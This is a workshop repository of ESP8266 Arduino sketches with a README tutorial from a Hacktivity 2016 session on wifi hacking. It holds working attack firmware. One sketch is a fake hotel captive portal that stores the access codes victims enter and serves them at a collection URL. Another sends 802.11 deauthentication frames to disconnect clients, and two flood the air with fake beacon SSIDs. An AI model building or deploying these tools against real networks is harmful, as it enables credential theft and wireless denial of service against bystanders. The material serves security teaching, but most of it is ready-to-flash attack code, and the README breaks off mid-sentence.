├── .gitignore
├── presentation.pdf
├── img
├── HacktivityLogo.jpg
├── hotelhacktivity.png
└── HacktivityLogoSmall.jpg
├── HotelHacktivity
└── login.html
├── BasicBeacon
└── BasicBeacon.ino
├── FakeBeaconESP8266
└── FakeBeaconESP8266.ino
├── deauth
└── deauth.ino
├── FakeCaptivePortal
└── FakeCaptivePortal.ino
└── README.md
/.gitignore:
--------------------------------------------------------------------------------
1 | *~
2 |
3 |
--------------------------------------------------------------------------------
/presentation.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/markszabo/Hacktivity2016/HEAD/presentation.pdf
--------------------------------------------------------------------------------
/img/HacktivityLogo.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/markszabo/Hacktivity2016/HEAD/img/HacktivityLogo.jpg
--------------------------------------------------------------------------------
/img/hotelhacktivity.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/markszabo/Hacktivity2016/HEAD/img/hotelhacktivity.png
--------------------------------------------------------------------------------
/img/HacktivityLogoSmall.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/markszabo/Hacktivity2016/HEAD/img/HacktivityLogoSmall.jpg
--------------------------------------------------------------------------------
/HotelHacktivity/login.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Login
5 |
6 |
26 |
27 |
28 |
31 |
32 |
33 |
Please enter your access code:
34 |
38 |
39 |
40 |
41 |
--------------------------------------------------------------------------------
/BasicBeacon/BasicBeacon.ino:
--------------------------------------------------------------------------------
1 | /*
2 | * Basic Beacon frames for ESP8266
3 | * From https://github.com/kripthor/WiFiBeaconJam
4 | */
5 | #include
6 |
7 | extern "C" {
8 | #include "user_interface.h"
9 | }
10 |
11 | String alfa = "1234567890qwertyuiopasdfghjkklzxcvbnm QWERTYUIOPASDFGHJKLZXCVBNM_";
12 | byte channel;
13 |
14 | // Beacon Packet buffer
15 | uint8_t packet[128] = { 0x80, 0x00, 0x00, 0x00,
16 | /*4*/ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
17 | /*10*/ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
18 | /*16*/ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
19 | /*22*/ 0xc0, 0x6c,
20 | /*24*/ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00,
21 | /*32*/ 0x64, 0x00,
22 | /*34*/ 0x01, 0x04,
23 | /* SSID */
24 | /*36*/ 0x00, 0x06, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72,
25 | 0x01, 0x08, 0x82, 0x84,
26 | 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03, 0x01,
27 | /*56*/ 0x04};
28 |
29 |
30 | void setup() {
31 | delay(500);
32 | wifi_set_opmode(STATION_MODE);
33 | wifi_promiscuous_enable(1);
34 | }
35 |
36 |
37 |
38 | void loop() {
39 | // Randomize channel //
40 |
41 | channel = random(1,12);
42 | wifi_set_channel(channel);
43 |
44 | // Randomize SRC MAC
45 | packet[10] = packet[16] = random(256);
46 | packet[11] = packet[17] = random(256);
47 | packet[12] = packet[18] = random(256);
48 | packet[13] = packet[19] = random(256);
49 | packet[14] = packet[20] = random(256);
50 | packet[15] = packet[21] = random(256);
51 |
52 | // Randomize SSID (Fixed size 6)
53 | packet[38] = alfa[random(65)];
54 | packet[39] = alfa[random(65)];
55 | packet[40] = alfa[random(65)];
56 | packet[41] = alfa[random(65)];
57 | packet[42] = alfa[random(65)];
58 | packet[43] = alfa[random(65)];
59 |
60 | packet[56] = channel;
61 |
62 | wifi_send_pkt_freedom(packet, 57, 0);
63 | wifi_send_pkt_freedom(packet, 57, 0);
64 | wifi_send_pkt_freedom(packet, 57, 0);
65 | delay(1);
66 | }
67 |
68 |
--------------------------------------------------------------------------------
/FakeBeaconESP8266/FakeBeaconESP8266.ino:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | extern "C" {
4 | #include "user_interface.h"
5 | }
6 |
7 | void setup() {
8 | delay(500);
9 | wifi_set_opmode(STATION_MODE);
10 | wifi_promiscuous_enable(1);
11 | }
12 |
13 | void loop() {
14 | //sendBeacon("test"); //sends beacon frames with the SSID 'test'
15 | //sendRandomBeacon(10); //sends beacon frames with 10 character long random SSID
16 | sendFuzzedBeacon("test",10); //sends beacon frames with 10 different SSID all starting with 'test' and ending with whitespaces (spaces and/or tabs)
17 | }
18 |
19 | void sendFuzzedBeacon(char* baseSsid, int nr) {
20 | int baseLen = strlen(baseSsid);
21 | int i=0;
22 | for(int j=0; j < 32 - baseLen; j++) { //32 is the maximum length of the SSID
23 | for(int k=0; k < pow(2,j); k++) {
24 | int kk = k;
25 | String ssid = baseSsid;
26 | for(int l=0; l < j; l++) {
27 | if(kk%2 == 1) ssid += " "; //add a space
28 | else ssid += "\t"; //add a tab
29 | kk /= 2;
30 | }
31 | char charBufSsid[33];
32 | ssid.toCharArray(charBufSsid, 33);
33 | sendBeacon(charBufSsid);
34 | if(++i >= nr) return;
35 | }
36 | }
37 | }
38 |
39 | void sendRandomBeacon(int len) {
40 | char ssid[len+1];
41 | randomString(len, ssid);
42 | sendBeacon(ssid);
43 | }
44 |
45 | void randomString(int len, char* ssid) {
46 | String alfa = "1234567890qwertyuiopasdfghjkklzxcvbnm QWERTYUIOPASDFGHJKLZXCVBNM_";
47 | for(int i = 0; i < len; i++) {
48 | ssid[i] = alfa[random(65)];
49 | }
50 | }
51 |
52 | void sendBeacon(char* ssid) {
53 | // Randomize channel //
54 | byte channel = random(1,12);
55 | wifi_set_channel(channel);
56 |
57 | uint8_t packet[128] = { 0x80, 0x00, //Frame Control
58 | 0x00, 0x00, //Duration
59 | /*4*/ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //Destination address
60 | /*10*/ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //Source address - overwritten later
61 | /*16*/ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //BSSID - overwritten to the same as the source address
62 | /*22*/ 0xc0, 0x6c, //Seq-ctl
63 | //Frame body starts here
64 | /*24*/ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, //timestamp - the number of microseconds the AP has been active
65 | /*32*/ 0x64, 0x00, //Beacon interval
66 | /*34*/ 0x01, 0x04, //Capability info
67 | /* SSID */
68 | /*36*/ 0x00
69 | };
70 |
71 | int ssidLen = strlen(ssid);
72 | packet[37] = ssidLen;
73 |
74 | for(int i = 0; i < ssidLen; i++) {
75 | packet[38+i] = ssid[i];
76 | }
77 |
78 | uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
79 | 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
80 |
81 | for(int i = 0; i < 12; i++) {
82 | packet[38 + ssidLen + i] = postSSID[i];
83 | }
84 |
85 | packet[50 + ssidLen] = channel;
86 |
87 | // Randomize SRC MAC
88 | packet[10] = packet[16] = random(256);
89 | packet[11] = packet[17] = random(256);
90 | packet[12] = packet[18] = random(256);
91 | packet[13] = packet[19] = random(256);
92 | packet[14] = packet[20] = random(256);
93 | packet[15] = packet[21] = random(256);
94 |
95 | int packetSize = 51 + ssidLen;
96 |
97 | wifi_send_pkt_freedom(packet, packetSize, 0);
98 | wifi_send_pkt_freedom(packet, packetSize, 0);
99 | wifi_send_pkt_freedom(packet, packetSize, 0);
100 | delay(1);
101 | }
102 |
--------------------------------------------------------------------------------
/deauth/deauth.ino:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #define CHANNEL_HOP_INTERVAL 10
4 |
5 | extern "C" {
6 | #include "user_interface.h"
7 | }
8 |
9 | #define user_procTaskPrio 0
10 | #define user_procTaskQueueLen 1
11 | os_event_t user_procTaskQueue[user_procTaskQueueLen];
12 | static os_timer_t deauth_timer;
13 |
14 | // To limit the deauthentication, add your phone's and computer's MAC address here
15 | uint8_t phone[6] = {0x58,0x44,0x98,0x13,0x80,0x6C};
16 | uint8_t pc[6] = {0x1C,0x65,0x9D,0xB7,0x8D,0xC6};
17 |
18 | // Channel to perform deauth
19 | uint8_t channel = 1;
20 |
21 | // Access point MAC to deauth
22 | uint8_t ap[6] = {0x00,0x01,0x02,0x03,0x04,0x05};
23 |
24 | // Client MAC to deauth
25 | uint8_t client[6] = {0x06,0x07,0x08,0x09,0x0A,0x0B};
26 |
27 | // Sequence number of a packet from AP to client
28 | uint16_t seq_n = 0;
29 |
30 | // Packet buffer
31 | uint8_t packet_buffer[64];
32 |
33 | struct RxControl {
34 | signed rssi:8;
35 | unsigned rate:4;
36 | unsigned is_group:1;
37 | unsigned:1;
38 | unsigned sig_mode:2;
39 | unsigned legacy_length:12;
40 | unsigned damatch0:1;
41 | unsigned damatch1:1;
42 | unsigned bssidmatch0:1;
43 | unsigned bssidmatch1:1;
44 | unsigned MCS:7;
45 | unsigned CWB:1;
46 | unsigned HT_length:16;
47 | unsigned Smoothing:1;
48 | unsigned Not_Sounding:1;
49 | unsigned:1;
50 | unsigned Aggregation:1;
51 | unsigned STBC:2;
52 | unsigned FEC_CODING:1;
53 | unsigned SGI:1;
54 | unsigned rxend_state:8;
55 | unsigned ampdu_cnt:8;
56 | unsigned channel:4;
57 | unsigned:12;
58 | };
59 |
60 | struct LenSeq {
61 | uint16_t length;
62 | uint16_t seq;
63 | uint8_t address3[6];
64 | };
65 |
66 | struct sniffer_buf {
67 | struct RxControl rx_ctrl;
68 | uint8_t buf[36];
69 | uint16_t cnt;
70 | struct LenSeq lenseq[1];
71 | };
72 |
73 | struct sniffer_buf2{
74 | struct RxControl rx_ctrl;
75 | uint8_t buf[112];
76 | uint16_t cnt;
77 | uint16_t len;
78 | };
79 |
80 | // Beacon Packet buffer
81 | uint8_t packet[128] = { 0x80, 0x00, 0x00, 0x00,
82 | /*4*/ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
83 | /*10*/ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
84 | /*16*/ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
85 | /*22*/ 0xc0, 0x6c,
86 | /*24*/ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00,
87 | /*32*/ 0x64, 0x00,
88 | /*34*/ 0x01, 0x04,
89 | /* SSID */
90 | /*36*/ 0x00, 0x06, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72,
91 | 0x01, 0x08, 0x82, 0x84,
92 | 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03, 0x01,
93 | /*56*/ 0x04};
94 |
95 | /* Creates a deauth packet.
96 | *
97 | * buf - reference to the data array to write packet to;
98 | * client - MAC address of the client;
99 | * ap - MAC address of the acces point;
100 | * seq - sequence number of 802.11 packet;
101 | *
102 | * Returns: size of the packet
103 | */
104 | uint16_t deauth_packet(uint8_t *buf, uint8_t *client, uint8_t *ap, uint16_t seq)
105 | {
106 | int i=0;
107 |
108 | // Type: deauth
109 | buf[0] = 0xC0;
110 | buf[1] = 0x00;
111 | // Duration 0 msec, will be re-written by ESP
112 | buf[2] = 0x00;
113 | buf[3] = 0x00;
114 | // Destination
115 | for (i=0; i<6; i++) buf[i+4] = client[i];
116 | // Sender
117 | for (i=0; i<6; i++) buf[i+10] = ap[i];
118 | for (i=0; i<6; i++) buf[i+16] = ap[i];
119 | // Seq_n
120 | buf[22] = seq % 0xFF;
121 | buf[23] = seq / 0xFF;
122 | // Deauth reason
123 | buf[24] = 1;
124 | buf[25] = 0;
125 | return 26;
126 | }
127 |
128 | void promisc_cb(uint8_t *buf, uint16_t len)
129 | {
130 | if (len == 12){
131 | struct RxControl *sniffer = (struct RxControl*) buf;
132 | } else if (len == 128) {
133 | struct sniffer_buf2 *sniffer = (struct sniffer_buf2*) buf;
134 | } else {
135 | struct sniffer_buf *sniffer = (struct sniffer_buf*) buf;
136 | //if it is my PC or phone
137 | if((sniffer->buf[4] == phone[0] && sniffer->buf[5] == phone[1] && sniffer->buf[6] == phone[2] && sniffer->buf[7] == phone[3] && sniffer->buf[8] == phone[4] && sniffer->buf[9] == phone[5]) || (sniffer->buf[4] == pc[0] && sniffer->buf[5] == pc[1] && sniffer->buf[6] == pc[2] && sniffer->buf[7] == pc[3] && sniffer->buf[8] == pc[4] && sniffer->buf[9] == pc[5])) {
138 | int i=0;
139 | // Set MACs
140 | for (i=0; i<6; i++) {
141 | client[i] = sniffer->buf[i+4];
142 | }
143 | for (i=0; i<6; i++) {
144 | ap[i] = sniffer->buf[i+10];
145 | }
146 | // Update sequence number
147 | seq_n = sniffer->buf[23] * 0xFF + sniffer->buf[22];
148 | }
149 | }
150 | }
151 |
152 | /* Sends deauth packets. */
153 | void deauth(void)
154 | {
155 | Serial.println("Sending deauth seq_n = " + String(seq_n/0x10) + " client: " + String(client[0],HEX) + ":" + String(client[1],HEX) + ":" + String(client[2],HEX) + ":" + String(client[3],HEX) + ":" + String(client[4],HEX) + ":" + String(client[5],HEX)+ " ap: " + String(ap[0],HEX) + ":" + String(ap[1],HEX) + ":" + String(ap[2],HEX) + ":" + String(ap[3],HEX) + ":" + String(ap[4],HEX) + ":" + String(ap[5],HEX));
156 | // Sequence number is increased by 16, see 802.11
157 | uint16_t size = deauth_packet(packet_buffer, ap, client, seq_n+0x10);
158 | wifi_send_pkt_freedom(packet_buffer, size, 0);
159 | }
160 |
161 | void setup() {
162 | Serial.begin(115200);
163 | Serial.println("Setting up...");
164 | // Promiscuous works only with station mode
165 | wifi_set_opmode(STATION_MODE);
166 |
167 | // Set timer for deauth
168 | os_timer_disarm(&deauth_timer);
169 | os_timer_setfn(&deauth_timer, (os_timer_func_t *) deauth, NULL);
170 | os_timer_arm(&deauth_timer, CHANNEL_HOP_INTERVAL, 1);
171 |
172 | // Set up promiscuous callback
173 | wifi_set_channel(1);
174 | wifi_promiscuous_enable(0);
175 |
176 | delay(500);
177 |
178 | wifi_set_promiscuous_rx_cb(promisc_cb);
179 | wifi_promiscuous_enable(1);
180 | }
181 |
182 |
183 |
184 | void loop() {
185 |
186 | }
187 |
--------------------------------------------------------------------------------
/FakeCaptivePortal/FakeCaptivePortal.ino:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | const byte DNS_PORT = 53;
6 | IPAddress apIP(192, 168, 1, 1);
7 | DNSServer dnsServer;
8 | ESP8266WebServer webServer(80);
9 |
10 | String login = ""
11 | ""
12 | ""
13 | ""
14 | " Login"
15 | " "
16 | " "
36 | ""
37 | ""
38 | ""
101 | ""
102 | "
Please enter your access code:
"
103 | "
"
107 | "
"
108 | ""
109 | "";
110 |
111 | String sniffed = "";
112 |
113 | void setup() {
114 | WiFi.mode(WIFI_AP);
115 | WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0));
116 | WiFi.softAP("HotelHacktivity");
117 |
118 | // if DNSServer is started with "*" for domain name, it will reply with
119 | // provided IP to all DNS request
120 | dnsServer.start(DNS_PORT, "*", apIP);
121 |
122 | // redirect all requests to the login page
123 | webServer.onNotFound([]() {
124 | webServer.sendHeader("Location", String("http://www.hotelhacktivity.com/login.php"), true);
125 | webServer.send ( 302, "text/plain", "");
126 | });
127 |
128 | webServer.on("/login.php", []() {
129 | webServer.send(200, "text/html", login);
130 | });
131 |
132 | webServer.on("/login2.php", []() {
133 | if(webServer.args() > 0 && webServer.argName(0) == "code") {
134 | sniffed += webServer.arg(0) + "\n";
135 | }
136 | webServer.send(200, "text/plain", "Error - unknown error occured, please try again later.");
137 | });
138 |
139 | webServer.on("/collect.php", []() {
140 | webServer.send(200, "text/plain", sniffed);
141 | });
142 |
143 | webServer.begin();
144 | }
145 |
146 | void loop() {
147 | dnsServer.processNextRequest();
148 | webServer.handleClient();
149 | }
150 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Wifi hacking with a 4 dollar microcontroller
2 |
3 | ## Introduction
4 |
5 | The ESP8266 is a wifi enabled microcontroller, which is popular among makers thanks to its low price: the base module costs ~$2 and you can get one with USB connector for $4. In this workshop I will show you three hacks using this module:
6 |
7 | 1. **Fake captive portal** - Captive portals are widely used in hotels and other public networks, where the wifi network is open, but upon connection a login page is showed to the user. We will see how to setup a fake captive portal and collect the login credentials. This exercises will show the basic capabilities of the microcontroller and how to use the existing functions.
8 | 2. **Send beacon frames** - These packets are used to introduce wifi networks, so if we send them with random SSID and MAC, whenever someone scans for wifi they will see a lot of new wifi networks, but they will not be able to connect to them.
9 | 3. **Send deauthentication frames** - We will continue with raw packets, and see how to send deauthentication packets to a client to make them drop their connection.
10 |
11 | ### About ESP8266
12 |
13 | The ESP8266 is a low-cost Wi-Fi chip with full TCP/IP stack and MCU (Micro Controller Unit) capability produced by Shanghai-based Chinese manufacturer, [Espressif Systems](https://espressif.com/en).
14 |
15 | Technical details:
16 |
17 | * 32-bit RISC CPU: Tensilica Xtensa LX106 running at 80 MHz
18 | * 64 KiB of instruction RAM, 96 KiB of data RAM
19 | * External QSPI flash - 512 KiB to 4 MiB (up to 16 MiB is supported)
20 | * IEEE 802.11 b/g/n Wi-Fi
21 | * Integrated TR switch, balun, LNA, power amplifier and matching network
22 | * WEP or WPA/WPA2 authentication, or open networks
23 | * 16 GPIO pins
24 | * SPI, I²C,
25 | * I²S interfaces with DMA (sharing pins with GPIO)
26 | * UART on dedicated pins, plus a transmit-only UART can be enabled on GPIO2
27 | * 1 10-bit ADC
28 |
29 | Source and more info: [Wikipedia](https://en.wikipedia.org/wiki/ESP8266), [Espressif](https://espressif.com/en/products/hardware/esp8266ex/overview).
30 |
31 | ## Setting up the environment
32 |
33 | 1. Download the Arduino IDE from [arduino.cc](https://www.arduino.cc/en/Main/Software)
34 | 2. Start Arduino IDE, go to File > Preferences and add `http://arduino.esp8266.com/stable/package_esp8266com_index.json` under `Additional board manager`.
35 | 3. Go to Tools > Board > Board Manager, search for ESP8266 and install it.
36 | 4. Go to Tools > Board and select `Generic ESP8266 module` (if your hardware looks like an Arduino, then you have the WeMos D1 and you need to select `WeMos D1 (retired)`).
37 |
38 | ### Test the environment setup
39 |
40 | To test the setup let's upload two simple example: blink and WifiScan.
41 |
42 | #### Blink
43 |
44 | 1. Go to File > Examples > Basics > Blink
45 | 2. Rewrite every 13 to 2, since the ESP8266 has its build-in led on GPIO 2.
46 | 2. Connect ESP8266 to your computer and select the right port under Tools > Port.
47 | 3. Click Upload
48 | 4. While it compiles (and before upload) press and **hold** the flash button (on the ESP8266) and press reset once, to make the microcontroller enter flash mode. If the upload fails, check the port. If still fails, make sure it enters flash mode. Hold flash and press reset multiple times before it starts to upload. (If you have the WeMos D1 or an other ESP without flash button, you can just simply press Upload and wait. If it fails first, just repeat.)
49 | 5. The ESP8266 should blink with its build in led.
50 | 6. Bonus: change it to blink faster, try to find an other build in LED (pin definition from the slides might help).
51 |
52 | #### WifiScan
53 |
54 | 1. Go to File > Examples > ESP8266Wifi > WifiScan
55 | 2. Upload it as before (don't forget to enter flash mode)
56 | 3. Go to Tools > Serial Monitor and set the Baudrate to 115200 (in the bottom right corner)
57 | 4. Wait a few seconds and see the nearby Wifi networks listed. If you see gibberish characters, check the baudrate.
58 | 5. Bonus: display other information on the Wifi networks, for example channel. (hint: [ESP8266WiFi.h](https://github.com/esp8266/Arduino/blob/4897e0006b5b0123a2fa31f67b14a3fff65ce561/libraries/ESP8266WiFi/src/ESP8266WiFi.h)).
59 |
60 | ## Fake captive portal
61 |
62 | ### The scenario
63 |
64 | You are staying in the imaginary Hotel Hacktivity. It has an open wifi `HotelHacktivity` but upon connection you are faced with the following captive portal to enter your access code:
65 |
66 | 
67 |
68 | Every guest receives an access code at check-in, but you have lost yours. Can you get someone else's code?
69 |
70 | ### The code
71 |
72 | Open Examples > DNSServer > CaptivePortal, and upload it.
73 |
74 | Connect to the Wifi `DNSServer CaptivePortal example` and go to any http website (eg. [bbc.com](http://www.bbc.com/) or [hotelhacktivity.com](http://www.hotelhacktivity.com/). Doesn't matter if it exists or not.) You will be faced with a captive portal.
75 |
76 | First change the name of the network in the 18th line: `WiFi.softAP("DNSServer CaptivePortal example");`. In reality we would set it to `HotelHacktivity` but to avoid collusion with others, please set it to something else (eg. add a random number to the end like `HotelHacktivity5943`, or use your nickname). Upload & test.
77 |
78 | Let's add the `login.php`! Open Examples > ESP8266WebServer > HelloServer to see an example, or just follow my instructions.
79 |
80 | Based on HelloServer add the following lines between `webServer.onNotFound([](){...});` and `webServer.begin()`:
81 | ```C++
82 | webServer.on("/login.php", []() {
83 | webServer.send(200, "text/html", "TODO: implement login form here");
84 | });
85 | ```
86 |
87 | Upload, connect and go to [anysite.com/login.php](http://anysite.com/login.php) (sine the ESP8266 is working as a DNS server, it will reply to any domain with its own ip address, so the url doesn't matter).
88 |
89 | Add the actual login page. In real life we would save the html code of the actual login page, now let's use my code. Declare the following new variable outside any function (eg. after `String responseHTML`):
90 | ```C++
91 | String login = ""
92 | ""
93 | ""
94 | ""
95 | " Login"
96 | " "
97 | " "
117 | ""
118 | ""
119 | ""
124 | ""
125 | "
Please enter your access code:
"
126 | "
"
130 | "
"
131 | ""
132 | "";
133 | ```
134 |
135 | Also change the previously added code to use this variable (replace `"TODO: implement login form here"` with `login`):
136 | ```C++
137 | webServer.on("/login.php", []() {
138 | webServer.send(200, "text/html", login);
139 | });
140 | ```
141 |
142 | Upload and test: go to [anysite.com/login.php](http://anysite.com/login.php) to see the login page, and go to [anysite.com](http://anysite.com/) to see the original captive portal.
143 |
144 | Instead of the original captive portal, we need it to redirect the visitors to http://www.hotelhacktivity.com/login.php. So let's change `webServer.onNotFound` into the following:
145 | ```C++
146 | webServer.onNotFound([]() {
147 | webServer.sendHeader("Location", String("http://www.hotelhacktivity.com/login.php"), true);
148 | webServer.send(302, "text/plain", "");
149 | });
150 | ```
151 | This will send an http response with code 302 (redirect) and Location set to `http://www.hotelhacktivity.com/login.php` if any page but `/login.php` is visited.
152 |
153 | Upload, test the redirect. If you look closely, the image in the header is not displayed (or if it is, then it's from cache). Fortunately html supports base64 encoded images. To do this, we would need to download the image, resize and compress it (I used jpg quality 50% in Gimp), and then base64 encode it (either use a website like [b64.io](http://b64.io/) or [base64-image.de](https://www.base64-image.de/) or use this linux command: `cat HacktivityLogoSmall.jpg | base64`. Either do these things, or just use my code below. Change the `login` string into the following:
154 | ```C++
155 | String login = ""
156 | ""
157 | ""
158 | ""
159 | " Login"
160 | " "
161 | " "
181 | ""
182 | ""
183 | ""
246 | ""
247 | "
Please enter your access code:
"
248 | "
"
252 | "
"
253 | ""
254 | "";
255 | ```
256 |
257 | Upload and test.
258 |
259 | It should look good, but one functionality is still missing: the entered access codes are not saved. Let's change the form action to login2.php (in the `login` string change the `